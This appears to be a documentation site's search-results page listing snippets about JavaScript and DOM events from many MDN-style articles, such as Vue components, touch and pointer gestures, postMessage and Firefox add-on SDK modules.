...kboxes should work (try checking/unchecking a couple, and then observing that the filters still work as expected), but our "x out of y items completed" status heading will no longer update accordingly. that's because our todo component is receiving the todo via the prop, but it's not sending any information back to its parent. we'll fix this later on. sharing data between components: props-down,
events-up pattern the bind directive is pretty straightforward and allows you to share data between a parent and child component with minimal fuss. however, when your application grows larger and more complex it can easily get difficult to keep track of all your bound values. a different approach is the "props-down,
events-up" communication pattern. basically, this pattern relies on child components ...
...And 24 more matches
Using files from web applications - Web APIs
="input" multiple> the file api makes it possible to access a filelist containing file objects representing the files selected by the user. the multiple attribute on the input element allows the user to select multiple files. ...
...bjects representing the files selected by the user. the multiple attribute on the input element allows the user to select multiple files. accessing the first selected file using a classical dom selector: const selectedfile = document.getelementbyid('input').files[0]; accessing selected file(s) on a change
event it is also possible (but not mandatory) to access the filelist through the change
event. ...
... files selected by the user. the multiple attribute on the input element allows the user to select multiple files. accessing the first selected file using a classical dom selector: const selectedfile = document.getelementbyid('input').files[0]; accessing selected file(s) on a change
event it is also possible (but not mandatory) to access the filelist through the change
event. ...
...And 24 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
r" oncommand="window.opendialog('chrome://helloworld/content/clock.xul','clock','chrome,centerscreen,modal');"/> </menupopup> </overlay> phase 2: adding a function to display the time in phase 2, we will make it so that selecting the hello world menu item we created in phase 1 will display a window with the time (figure 6). fixme: figure 6: clock window produced by phase 2 adding an
event handler first, we add an
event handler to the menu item that will open the window (listing 4). fixme: listing 4:
event handler clock handler create the window that displays the clock (listing 5) and its controller (listing 6). we’ve already covered the dialog element in chapter 3. in this case, we only want to display an ok button, so we set the buttons attribute to accept. within the windo...
...ethod names and variable names for each of the processes you’ll need to implement these features, and put them into an overlay.js file. follow the code in listing 15. ...
...or each of the processes you’ll need to implement these features, and put them into an overlay.js file. follow the code in listing 15. ...
...And 23 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
ution differences different browsers execute javascript differently. for example, the following code assumes that the div node already exists in the dom by the time the script block executes: ... <div id="foo">loading...</div> <script> document.getelementbyid("foo").innerhtml = "done."; </script> however, this is not guaranteed. to be sure that all elements exist, you should use the onload
event handler on the <body> tag: <body onload="dofinish();"> <div id="foo">loading...</div> <script> function dofinish() { var element = document.getelementbyid("foo"); element.innerhtml = "done."; } </script> ... such timing-related issues are also hardware-related -- slower systems can reveal bugs that faster systems hide. one concrete example is window.open, which opens a new window...
...ower than if they were fully standards-compliant. most web pages are rendered under this mode. mozilla uses quirks mode for the following conditions: when no doctype is specified for doctypes without a system identifier (for example, <!doctype html public "-//w3c//dtd html 4.01 transitional//en">) for further reading, check out: mozilla quirks mode behavior and mozilla's doctype sniffing.
event differences mozilla and internet explorer are almost completely different in the area of
events. the mozilla
event model follows the w3c and netscape model. in internet explorer, if a function is called from an
event, it can access the
event object through window.
event. mozilla passes an
event object to
event handlers. they must specifically pass the object on to the function called through an a...
...internet explorer are almost completely different in the area of
events. the mozilla
event model follows the w3c and netscape model. in internet explorer, if a function is called from an
event, it can access the
event object through window.
event. mozilla passes an
event object to
event handlers. they must specifically pass the object on to the function called through an argument. ...
...And 22 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
pe.getcolor = function getcolor() { if (this.a | 0 === 1) return this.gethexa(); return this.getrgba(); }; /*=======================================================================*/ /*=======================================================================*/ /*========== capture mouse movement ==========*/ var setmousetracking = function setmousetracking(elem, callback) { elem.add
eventlistener('mousedown', function(e) { callback(e); document.add
eventlistener('mousemove', callback); }); document.add
eventlistener('mouseup', function(e) { document.remove
eventlistener('mousemove', callback); }); }; /*====================*/ // color picker class /*====================*/ function colorpicker(node) { this.color = new color(); this.node = node; this.subscri...
... document.createelement('div'); var input = document.createelement('input'); var info = document.createelement('span'); wrapper.classname = 'input'; wrapper.setattribute('data-topic', topic); info.textcontent = title; info.classname = 'name'; input.setattribute('type', 'text'); wrapper.appendchild(info); wrapper.appendchild(input); this.node.appendchild(wrapper); input.add
eventlistener('change', onchangefunc); input.add
eventlistener('click', function() { this.select(); }); this.subscribe(topic, function(value) { input.value = value; }); }; colorpicker.prototype.createchangemodebutton = function createchangemodebutton() { var button = document.createelement('div'); button.classname = 'switch_mode'; button.add
eventlistener('click', function() { ...
...ld !== null) { option = node.firstelementchild; option_value = option.getattribute('data-value'); if (option_value === null) option.setattribute('data-value', uval); list.appendchild(node.firstelementchild); uval++; } node.appendchild(select); node.appendchild(list); select.onclick = this.toggle.bind(this); list.onclick = this.updatevalue.bind(this); document.add
eventlistener('click', clickout); this.state = 0; this.time = 0; this.dropmenu = list; this.select = select; this.toggle(false); this.value = {}; this.topic = topic; if (label) select.textcontent = label; else this.setnodevalue(list.children[selected]); dropdowns[topic] = this; }; dropdown.prototype.toggle = function toggle(state) { if (typeof(state) === 'boolean') ...
...And 22 more matches
jspage - Archive of obsolete content
ow"}}; new window(window);var document=new native({name:"document",legacy:(browser.engine.trident)?null:window.document,initialize:function(a){$uid(a);a.head=a.getelementsbytagname("head")[0]; a.html=a.getelementsbytagname("html")[0];if(browser.engine.trident&&browser.engine.version<=4){$try(function(){a.execcommand("backgroundimagecache",false,true); });}if(browser.engine.trident){a.window.attach
event("onunload",function(){a.window.detach
event("onunload",arguments.callee);a.head=a.html=a.window=null; });}return $extend(a,document.prototype);},afterimplement:function(b,a){document[b]=document.prototype[b]=a;}});document.prototype={$family:{name:"document"}}; new document(document);array.implement({every:function(c,d){for(var b=0,a=this.length;b<a;b++){if(!c.call(d,this[b],b,this)){return false;...
...rn null;}if(this.length==4&&this[3]==0&&!d){return"transparent";}var b=[];for(var a=0;a<3;a++){var c=(this[a]-0).tostring(16); b.push((c.length==1)?"0"+c:c);}return(d)?b:"#"+b.join("");}});function.implement({extend:function(a){for(var b in a){this[b]=a[b];}return this;},create:function(b){var a=this; b=b||{};return function(d){var c=b.arguments;c=(c!=undefined)?$splat(c):array.slice(arguments,(b.
event)?1:0);if(b.
event){c=[d||window.
event].extend(c); }var e=function(){return a.apply(b.bind||null,c);};if(b.delay){return settimeout(e,b.delay);}if(b.periodical){return setinterval(e,b.periodical);}if(b.attempt){return $try(e); }return e();};},run:function(a,b){return this.apply(b,$splat(a));},pass:function(a,b){return this.create({bind:b,arguments:a});},bind:function(b,a){return this.create({bind:b...
...indow.
event].extend(c); }var e=function(){return a.apply(b.bind||null,c);};if(b.delay){return settimeout(e,b.delay);}if(b.periodical){return setinterval(e,b.periodical);}if(b.attempt){return $try(e); }return e();};},run:function(a,b){return this.apply(b,$splat(a));},pass:function(a,b){return this.create({bind:b,arguments:a});},bind:function(b,a){return this.create({bind:b,arguments:a}); },bindwith
event:function(b,a){return this.create({bind:b,arguments:a,
event:true});},attempt:function(a,b){return this.create({bind:b,arguments:a,attempt:true})(); },delay:function(b,c,a){return this.create({bind:c,arguments:a,delay:b})();},periodical:function(c,b,a){return this.create({bind:b,arguments:a,periodical:c})(); }});number.implement({limit:function(b,a){return math.min(a,math.max(b,this));},round:funct...
...And 21 more matches
Appendix F: Monitoring DOM changes - Archive of obsolete content
their major advantage is in their performance and their ease of use, especially when combined with simple libraries. ...
...their major advantage is in their performance and their ease of use, especially when combined with simple libraries. ...
...ffect which is not mitigated in the slightest by later removing those listeners. for this reason, it is best to avoid using mutation listeners at all costs, especially from extensions. this document lays out some alternatives which do not have such severe performance impacts. mutation observers mutation observers are the more efficient, w3c speced replacement for the highly inefficient mutation
events. their major advantage is in their performance and their ease of use, especially when combined with simple libraries. their main disadvantage is that, due to their recent advent, support is currently limited to firefox 14+ and chrome 18. while they are still viable for add-ons targeting only the latest firefox, those wishing to support older browsers will need to provide fallbacks. for more inf...
...And 20 more matches
Using the Browser API
laces like the firefox devtools. it consists of two major parts: custom <iframe> attributes: by adding a mozbrowser attribute to the <iframe> element we can make it appear like a top-level browser window to the embedded content. this means that window.top, window.parent, window.frameelement, etc. should not reflect the frame hierarchy. api extensions: the api includes several new methods and
events to manipulate and listen for changes to the embedded content's state, interited by the htmliframeelement interface. note: an iframe enhanced by the browser api is commonly referred to as a "browser iframe". we'll be using this term throughout the current article, and other parts of the documentation. demo to demonstrate basic usage of this api, we have created a simple browser api demo tha...
...rols, and a search bar. the search bar also contains buttons, as well as a form to type search requests into. you can see the full html listing here. the javascript implementation to wire up the functionality required by our simple browser, we've written some basic javascript (see the full javascript listing.) wiring up the back and forward buttons early on in the code we implement two simple
event listeners to move the browser back and forward in history when the relevant buttons are pressed: back.add
eventlistener('touchend',function() { browser.goback(); }); fwd.add
eventlistener('touchend',function() { browser.goforward(); }); the functions can be handled using the browser api htmliframeelement.goback() and htmliframeelement.goforward() methods. you'll also notice that we're also f...
... enabling/disabling the back and forward buttons you will also notice after a bit of surfing that the back and forward buttons are disabled when you cannot move backwards/forwards, and enabled when you can. ...
...And 20 more matches
source-editor.jsm
il. its functionality is all exposed through source-editor.jsm. ...
...d through source-editor.jsm. ...
...r.jsm. ...
...And 20 more matches
Pinch zoom gestures - Web APIs
adding gestures to an application can significantly improve the user experience. there are many types of gestures, from the simple single-touch swipe gesture to the more complex multi-touch twist gesture, where the touch points (aka pointers) move in different directions. this example shows how to detect the pinch/zoom gesture, which uses pointer
events to detect whether the user moves two pointers closer or farther apart from each other. a live version of this application is available on github. the source code is available on github; pull requests and bug reports are welcome. example in this example, you use the pointer
events to simultaneously detect two pointing devices of any type, including fingers, mice, and pens. the pinch in (zoom out) gesture, which moves the two pointers toward...
...oves the two pointers away from each other, changes the target element's background color to pink. define touch target the application uses <div> to define the pointers' target areas. <style> div { margin: 0em; padding: 2em; } #target { background: white; border: 1px solid black; } </style> global state supporting a two-pointer gesture requires preserving a pointer's
event state during various
event phases. this application uses two global variables to cache the
event state. // global vars to cache
event state var evcache = new array(); var prevdiff = -1; register
event handlers
event handlers are registered for the following pointer
events: pointerdown, pointermove and pointerup. the handler for pointerup is used for the pointercancel, pointerout and pointerle...
...te during various
event phases. this application uses two global variables to cache the
event state. // global vars to cache
event state var evcache = new array(); var prevdiff = -1; register
event handlers
event handlers are registered for the following pointer
events: pointerdown, pointermove and pointerup. the handler for pointerup is used for the pointercancel, pointerout and pointerleave
events since these four
events have the same semantics in this application. function init() { // install
event handlers for the pointer target var el=document.getelementbyid("target"); el.onpointerdown = pointerdown_handler; el.onpointermove = pointermove_handler; // use same handler for pointer{up,cancel,out,leave}
events since // the semantics for these
events - in this app - are the same. e...
...And 20 more matches
window.postMessage() - Web APIs
allowed to access each other if and only if the pages they originate from share the same protocol, port number, and host (also known as the "same-origin policy"). window.postmessage() provides a controlled mechanism to securely circumvent this restriction (if used properly). broadly, one window may obtain a reference to another (e.g., via targetwindow = window.opener), and then dispatch a message
event on it with targetwindow.postmessage(). the receiving window is then free to handle this
event as needed. the arguments passed to window.postmessage() (i.e., the “message”) are exposed to the receiving window through the
event object. syntax targetwindow.postmessage(message, targetorigin, [transfer]); targetwindow a reference to the window that will receive the message. methods for obtai...
...an embedded <iframe>), or window.frames + an index value (named or numeric). message data to be sent to the other window. the data is serialized using the structured clone algorithm. this means you can pass a broad variety of data objects safely to the destination window without having to serialize them yourself. [1] targetorigin specifies what the origin of targetwindow must be for the
event to be dispatched, either as the literal string "*" (indicating no preference) or as a uri. if at the time the
event is scheduled to be dispatched the scheme, hostname, or port of targetwindow's document does not match that provided in targetorigin, the
event will not be dispatched; only if all three match will the
event be dispatched. this mechanism provides control over where messages are sent; ...
...always provide a specific targetorigin, not *, if you know where the other window's document should be located. failing to provide a specific target discloses the data you send to any interested malicious site. transfer optional is a sequence of transferable objects that are transferred with the message. ...
...And 20 more matches
Cross-browser audio basics - Developer guides
mp4 files typically contain aac encoded audio. you can use type="audio/mp4". (currently, browsers that support mp3 also support ...
...fortunately, there are a number of...
....onload = function(){ var myaudio = document.getelementbyid('my-audio'); var play = document.getelementbyid('play'); var pause = document.getelementbyid('pause'); // associate functions with the 'onclick'
events play.onclick = playaudio; pause.onclick = pauseaudio; function playaudio() { myaudio.play(); } function pauseaudio() { myaudio.pause(); } } media loading
events above we have shown how you can create a very simple audio player, but what if we want to show progress, buffering and only activate the buttons when the media is ready to play? ...
...And 20 more matches
tabs - Archive of obsolete content
tabs.on('open', function onopen(tab) { myopentabs.push(tab); }); // listen for tab content loads. tabs.on('ready', function(tab) { console.log('tab is loaded', tab.title, tab.url); }); access tabs the module itself can be used as a list of all opened tabs across all windows. ...
...ividual tabs by index: var tabs = require('sdk/tabs'); tabs.on('ready', function () { console.log('first: ' + tabs[0].title); console.log('last: ' + tabs[tabs.length-1].title); }); you can access the currently active tab: var tabs = require('sdk/tabs'); tabs.on('activate', function () { console.log('active: ' + tabs.activetab.url); }); track a single tab given a tab, you can register
event listeners to be notified when the tab is closed, activated or deactivated, or when the page hosted by the tab is loaded or retrieved from the "back-forward cache": var tabs = require("sdk/tabs"); function onopen(tab) { console.log(tab.url + " is open"); tab.on("pageshow", logshow); tab.on("activate", logactivate); tab.on("deactivate", logdeactivate); tab.on("close", logclose); } func...
...by setting the url property you can load a new page in the tab: var tabs = require("sdk/tabs"); tabs.on('activate', function(tab) { tab.url = "http://www.example.com"; }); run scripts in a tab you can attach a content script to the page hosted in a tab, and use that to access and manipulate the page's content (see the modifying the page hosted by a tab tutorial): var tabs = require(...
...And 19 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
isabled. you might use a script to change this attribute. if false, the default, autocomplete is enabled. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...lled in with the best match when it loses the focus. if false, it will only be filled in when the user selects an item. highlightnonmatches new in thunderbird 3 requires seamonkey 2.0 type: boolean if true, then the autocomplete field will be highlighted when no match has been found. ignoreblurwhilesearching new in thunderbird 3requires seamonkey 2.0 type: boolean if true, blur
events are ignored while searching, which means that the autocomplete popup will not disappear. inputtooltiptext type: string the tooltip text for the textbox. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of th...
...esults that must be returned for the popup to be displayed. the default value is 1. new in thunderbird 3requires seamonkey 2.0 a zero value will always open the popup. this can be used to display additional items that are not autocomplete results. nomatch type: boolean this attribute will be set to true if the last search resulted in no matches. ...
...And 19 more matches
nsIDragService
de is deprecated. add-ons should use the standard datatransfer drag and drop api instead. the only exception is getcurrentsession(), since there's currently no way to check for a drag in progress using standard dom methods or properties. ...
...ead. the only exception is getcurrentsession(), since there's currently no way to check for a drag in progress using standard dom methods or properties. ...
... getcurrentsession(), since there's currently no way to check for a drag in progress using standard dom methods or properties. ...
...And 19 more matches
Multi-touch interaction - Web APIs
the touch
event interfaces support application-specific single and multi-touch interactions. however, the interfaces can be a bit tricky for programmers to use because touch
events are very different from other dom input
events, such as mouse
events. the application described in this guide shows how to use touch
events for simple single and multi-touch interactions, the basics needed to build application-specific gestures. a live version of this application is available on github. the source code is available on github and pull requests and bug reports are welcome. ...
... define touch targets the application uses <div> elements to represent four touch areas. ...
...in: 0em; padding: 2em; } #target1 { background: white; border: 1px solid black; } #target2 { background: white; border: 1px solid black; } #target3 { background: white; border: 1px solid black; } #target4 { background: white; border: 1px solid black; } </style> global state tpcache is used to cache touch points for processing outside of the
event where they were fired. // log
events flag var log
events = false; // touch point cache var tpcache = new array(); register
event handlers
event handlers are registered for all four touch
event types. the touchend and touchcancel
event types use the same handler. function set_handlers(name) { // install
event handlers for the given element var el=document.getelementbyid(name); el.ontouchst...
...And 19 more matches
Color picker tool - CSS: Cascading Style Sheets
pe.getcolor = function getcolor() { if (this.a | 0 === 1) return this.gethexa(); return this.getrgba(); }; /*=======================================================================*/ /*=======================================================================*/ /*========== capture mouse movement ==========*/ var setmousetracking = function setmousetracking(elem, callback) { elem.add
eventlistener('mousedown', function(e) { callback(e); document.add
eventlistener('mousemove', callback); }); document.add
eventlistener('mouseup', function(e) { document.remove
eventlistener('mousemove', callback); }); }; /*====================*/ // color picker class /*====================*/ function colorpicker(node) { this.color = new color(); this.node = node; this.subscri...
... document.createelement('div'); var input = document.createelement('input'); var info = document.createelement('span'); wrapper.classname = 'input'; wrapper.setattribute('data-topic', topic); info.textcontent = title; info.classname = 'name'; input.setattribute('type', 'text'); wrapper.appendchild(info); wrapper.appendchild(input); this.node.appendchild(wrapper); input.add
eventlistener('change', onchangefunc); input.add
eventlistener('click', function() { this.select(); }); this.subscribe(topic, function(value) { input.value = value; }); }; colorpicker.prototype.createchangemodebutton = function createchangemodebutton() { var button = document.createelement('div'); button.classname = 'switch_mode'; button.add
eventlistener('click', function() { ...
...be : unsubscribe, setpickermode : setpickermode }; })(); /** * ui-slidersmanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.setattribute('type', 'text'); input.style.width = 50 + obj.precision * 10 + 'px'; input.add
eventlistener('click', function(e) { this.select(); }); input.add
eventlistener('change', function(e) { var value = parsefloat(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); return input; }; var slidercomponent = function slidercomponent(obj, sign) { var slider = document.createelement('div'); var sta...
...And 19 more matches
Interacting with page scripts - Archive of obsolete content
ture version of the sdk. expose objects to page scripts until firefox 30, you could use unsafewindow to perform the reverse procedure, and make objects defined in content scripts available to page scripts: // content-script.js unsafewindow.contentscriptobject = {"greeting" : "hello from add-on"}; // page-script.js var button = document.getelementbyid("show-content-script-var"); button.add
eventlistener("click", function() { // access object defined by content script console.log(window.contentscriptobject.greeting); // "hello from add-on" }, false); after firefox 30, you can still do this for primitive values, but can no longer do it for objects. instead, you need to use the global cloneinto() function to clone the object into the page script's scope. cloneinto() creates a struc...
...assigns it to unsafewindow twice: the first time using cloneinto(), the second time using simple assignment: // content-script.js var contentscriptobject = {"greeting" : "hello from add-on"}; unsafewindow.clonedcontentscriptobject = cloneinto(contentscriptobject, unsafewindow); unsafewindow.assignedcontentscriptobject = contentscriptobject; the "page.html" file adds two buttons and assigns an
event listener to each: one listener displays a property of the cloned object, and the other listener displays a property of the assigned object: <html> <head> </head> <body> <input id="works" type="button" value="i will work"/> <input id="fails" type="button" value="i will not work"/> <script> var works = document.getelementbyid("works"); works.add
eventlistener("click",...
...clicking "i will not work" fails, and the following message is logged: permission denied to access property 'greeting' expose functions to page scripts the structured cl...
...And 18 more matches
widget - Archive of obsolete content
cified using html like this: <html> <body> <img src="play.png" id="play-button"> <img src="pause.png" id="pause-button"> <img src="stop.png" id="stop-button"> </body> </html> we just include three icons, and assign an id to each one. this html file, and the icon files it references, are saved in the add-on's data directory. ...
...use-button"); pause_button.onclick = function() { self.port.emit("pause"); } var stop_button = document.getelementbyid("stop-button"); stop_button.onclick = function() { self.port.emit("stop"); } we save this file in the add-on's data directory as "button-script.js". finally. ...
...re("sdk/self").data var clockpanel = require("sdk/panel").panel({ width:215, height:160, contenturl: data.url("clock.html") }); widget = require("sdk/widget").widget({ id: "open-clock-btn", label: "clock", contenturl: data.url("history.png") }); widget.panel = clockpanel; // will not be anchored widget.panel.show(); also, if you try to call panel.show() inside your widget's click
event listener, the panel will not be anchored: data = require("sdk/self").data var clockpanel = require("sdk/panel").panel({ width:215, height:160, contenturl: data.url("clock.html") }); require("sdk/widget").widget({ id: "open-clock-btn", label: "clock", contenturl: data.url("history.png"), panel: clockpanel, onclick: function() { // will not be anchored this.panel.show(); ...
...And 18 more matches
ui/sidebar - Archive of obsolete content
alling its hide() method. called with no arguments, show() and hide() will operate on the currently active window. from firefox 33 onwards you can pass a browserwindow into these methods, and they will then operate on the specified window. alternatively, the view->sidebar submenu in firefox will contain a new item which the user can use to show or hide the sidebar: the sidebar generates a show
event when it is shown and a hide
event when it is hidden. once you've finished using the sidebar you can destroy it by calling its dispose() method. to show what a sidebar looks like, here's a sidebar that displays the results of running the w3c validator on the current page: specifying sidebar content the content of a sidebar is specified using html, which is loaded from the url supplied in the...
...r's content from your main add-on code, but you can send messages between your main add-on code and scripts loaded into your sidebar. on the sidebar end of the conversation, sidebar scripts get a global variable addon that contains a port for sending and receiving messages. on the add-on side, you need to get a worker object for the sidebar before you can send or receive messages. ...
...the sidebar script may not be initialized yet, so you can't reliably send messages to the sidebar script right away: however, you can start listening to messages from the script. ...
...And 18 more matches
ui/toolbar - Archive of obsolete content
get a close button at the right-hand side, and users can show or hide the toolbar using the firefox "view/toolbars" menu, alongside built-in toolbars like the bookmarks toolbar. hidden state persists even over create/destroy cycles: if a toolbar is created, then hidden, then destroyed, and another toolbar with the same title is then created, the new toolbar will be in the hidden state. toolbar
events toolbars get attach and detach
events when their content is loaded and unloaded, and show and hide
events when the uses shows or hides them. working with multiple browser windows there's only a single toolbar for all browser windows, so operations like show and hide work across all browser windows. if you need to customize content for a particular browser window, you can do that by messaging ...
... = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var button = actionbutton({ id: "my-button", label: "my-button", icon: "./my-button.png" }); var frame = new frame({ url: "./my-frame.html" }); var toolbar = toolbar({ title: "player", items: [button, frame] }); this add-on creates a toolbar with one frame, that's hidden initially, and that logs show and hide
events: var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var frame = new frame({ url: "./frame.html" }); var toolbar = toolbar({ title: "my toolbar", items: [frame], hidden: true, onshow: showing, onhide: hiding }); function showing(e) { console.log("showing"); console.log(e); } function hiding(e) { console.log("hiding"); console.log(e); } ...
...an action button, a toggle button, or a frame instance. buttons each take up a fixed width. if more than one frame is supplied here, the frames each occupy an equal vertical strip of the toolbar. hidden boolean boolean indicating whether the frame should be hidden initially or not. defaults to false. onattach function assign a listener to the attach
event. ...
...And 18 more matches
Vue conditional rendering: editing existing todos - Learn web development
erminal with node + npm installed. objective: to learn how to do conditional rendering in vue. creating an editing component we can start by creating a separate component to handle the editing functionality. in your components directory, create a new file called todoitemeditform.vue. ...
...tand everything the component is doing before moving on. this is a useful way to help reinforce everything you've learned so far. this code sets up the core of the edit functionality. we create a form with an <input> field for editing the name of our to-do. there is a "save" button and a "cancel" button: when the "save" button is clicked, the component emits the new label via an item-edited
event. when the "cancel" button is clicked, the component signals this by emitting an edit-cancelled
event. modifying our todoitem component before we can add todoitemeditform to our app, we need to make a few modifications to our todoitem component. specifically, we need to add a variable to track if the item is being edited, and a button to toggle that variable. we’ll also add a delete button s...
...anger" @click="deletetodo"> delete <span class="visually-hidden">{{label}}</span> </button> </div> </div> </template> we’ve added a wrapper <div> around the whole template for layout purposes. we've also added "edit" and "delete" buttons: the "edit" button, when clicked, will toggle displaying the todoitemeditform component so we can use it to edit our todo item, via an
event handler function called toggletoitemeditform(). this handler will set an isediting flag to true. to do that, we'll need to first define it inside our data() property. the "delete" button, when clicked, will delete the todo item via an
event handler function called deletetodo(). in this handler we’ll emit an item-deleted
event to our parent component so the list can be updated. let's define o...
...And 18 more matches
Detecting device orientation - Web APIs
ntation; that is, they can report data indicating changes to their orientation with relation to the pull of gravity. in particular, hand-held devices such as mobile phones can use this information to automatically rotate the display to remain upright, presenting a wide-screen view of the web content when the device is rotated so that its width is greater than its height. ...
...h relation to the pull of gravity. in particular, hand-held devices such as mobile phones can use this information to automatically rotate the display to remain upright, presenting a wide-screen view of the web content when the device is rotated so that its width is greater than its height. there are two javascript
events that handle orientation information. the first one is the deviceorientation
event, which is sent when the accelerometer detects a change to the orientation of the device. by receiving and processing the data reported by these orientation
events, it's possible to interactively respond to rotation and elevation changes caused by the user moving the device. the second
event is the devicemotion
event, which is sent when a change in acceleration was added. it is different from the ...
...hen the accelerometer detects a change to the orientation of the device. by receiving and processing the data reported by these orientation
events, it's possible to interactively respond to rotation and elevation changes caused by the user moving the device. the second
event is the devicemotion
event, which is sent when a change in acceleration was added. it is different from the deviceorientation
event because it is listening for changes in acceleration as opposed to orientation. sensors that are commonly capable of detecting devicemotion
event include sensors in laptops to protect moving storage devices. ...
...And 18 more matches
Element - Web APIs
e xul through the xulelement interface, also implement element. ...
... position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
...it implements the properties of parentnode, childnode, nondocumenttypechildnode, and animatable. element.attributes read only returns a namednodemap object containing the assigned attributes of the corresponding html element. element.classlist read only ret...
...And 18 more matches
User input and controls - Developer guides
modern web user input goes beyond simple mouse and keyboard: think of touchscreens for example. this article provides recommendations for managing user input and implementing controls in open web apps, along with faqs, real-world examples, and links to further information for anyone needing more detailed information on the underlying technologies. relevant apis and
events include touch
events, pointer lock api, screen orientation api, fullscreen api, drag & drop and more. user input and controls workflow the following diagram illustrates the typical workflow for implementing user input mechanisms: first of all, you need to decide which input mechanisms you want to cover in your application out of mouse, keyboard, finger touch and so on. once you decided the input mechanisms, you ...
...s you want to cover in your application out of mouse, keyboard, finger touch and so on. once you decided the input mechanisms, you can control them using tools offered by the web platform or javascript libraries. recommendations available input mechanisms depend on the capabilities of the device running the application: some devices provide touchscreen displays: the web platform offers touch
events to interpret finger activity on touch-based user interfaces. for devices providing a mouse/touchpad as a pointing method, the pointer lock api helps you in implementing a first person 3d game or other applications requiring full control of the pointing device. and the fullscreen api helps you in displaying your app in fullscreen mode. using features such as contenteditable elements you can imp...
...rs only use keyboard to navigate web sites and apps, and locking them out of your functionality is a bad idea. the following is a set of recommendations and best practices for using such tools in open web apps. decide what input mechanism you’re using keyboard keyboard input can be controlled by your app. ...
...And 18 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
isabled. you might use a script to change this attribute. if false, the default, autocomplete is enabled. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...led in with the best match when it loses the focus. if false, it will only be filled in when the user selects an item. highlightnonmatches new in thunderbird 3 requires seamonkey 2.0 type: boolean if true, then the autocomplete field will be highlighted when no match has been found. ignoreblurwhilesearching obsolete since gecko 1.9.1 type: boolean if true, blur
events are ignored while searching, which means that the autocomplete popup will not disappear. as of gecko 1.9.1, this attribute is now always specified in lower case. ignoreblurwhilesearching new in thunderbird 3requires seamonkey 2.0 type: boolean if true, blur
events are ignored while searching, which means that the autocomplete popup will not disappear. inputtooltiptext type: stri...
...esults that must be returned for the popup to be displayed. the default value is 1. new in thunderbird 3requires seamonkey 2.0 a zero value will always open the popup. this can be used to display additional items that are not autocomplete results. nomatch type: boolean this attribute will be set to true if the last search resulted in no matches. ...
...And 17 more matches
Client-side storage - Learn web development
ent.queryselector('.forget'); const form = document.queryselector('form'); const nameinput = document.queryselector('#entername'); const submitbtn = document.queryselector('#submitname'); const forgetbtn = document.queryselector('#forgetname'); const h1 = document.queryselector('h1'); const personalgreeting = document.queryselector('.personal-greeting'); next up, we need to include a small
event listener to stop the form from actually submitting itself when the submit button is pressed, as this is not the behavior we want. add this snippet below your previous code: // stop the form from submitting when a button is pressed form.add
eventlistener('submit', function(e) { e.pr
eventdefault(); }); now we need to add an
event listener, the handler function of which will run when the "...
...cked. the comments explain in detail what each bit does, but in essence here we are taking the name the user has entered into the text input box and saving it in web storage using setitem(), then running a function called namedisplaycheck() that will handle updating the actual website text. ...
... the bottom of your code: // run function when the 'say hello' button is clicked submitbtn.add
eventlistener('click', function() { // store the entered name in web storage localstorage.setitem('name', nameinput.value); // run namedisplaycheck() to sort out displaying the // personalized greetings and updating the form display namedisplaycheck(); }); at this point we also need an
event handler to run a function when the "forget" button is clicked — this is only displayed after the "say hello" button has been clicked (the two form states toggle back and forth). in this function we remove the name item from web storage using removeitem(), then again run namedisplaycheck() to update the display. add this to the bottom: // run function when the 'forget' button is clicked forg...
...And 17 more matches
Activity Manager examples
ures introduced in thunderbird 3 the activity manager is a simple component that understands how to display a combination of user activity and history. see the activity manager page for a general description of the component. see the activity manager interfaces page for an overview of the related interfaces. if the default implementation of nsiactivityprocess, nsiactivitywarning and nsiactivity
event are not sufficient for the activity initiator, activity developers can provide their own components to extend the capabilities. default implementations can be found in nsactivity.js file. if activity developers would like to extend the default ui representation of the activity types, they can provide their own xbl elements for their own activity types. all custom activity xbl elements should inh...
...ike to extend the default ui representation of the activity types, they can provide their own xbl elements for their own activity types. all custom activity xbl elements should inherit from "activity-base" binding. for xbl samples please see activity.xml and activitybinding.css files. ...
...or xbl samples please see activity.xml and activitybinding.css files. showing a user-defined activity in the activity manager window the following sample will show a process and an
event for junk processing in the activity manager window. ...
...And 17 more matches
Using the Gamepad API - Web APIs
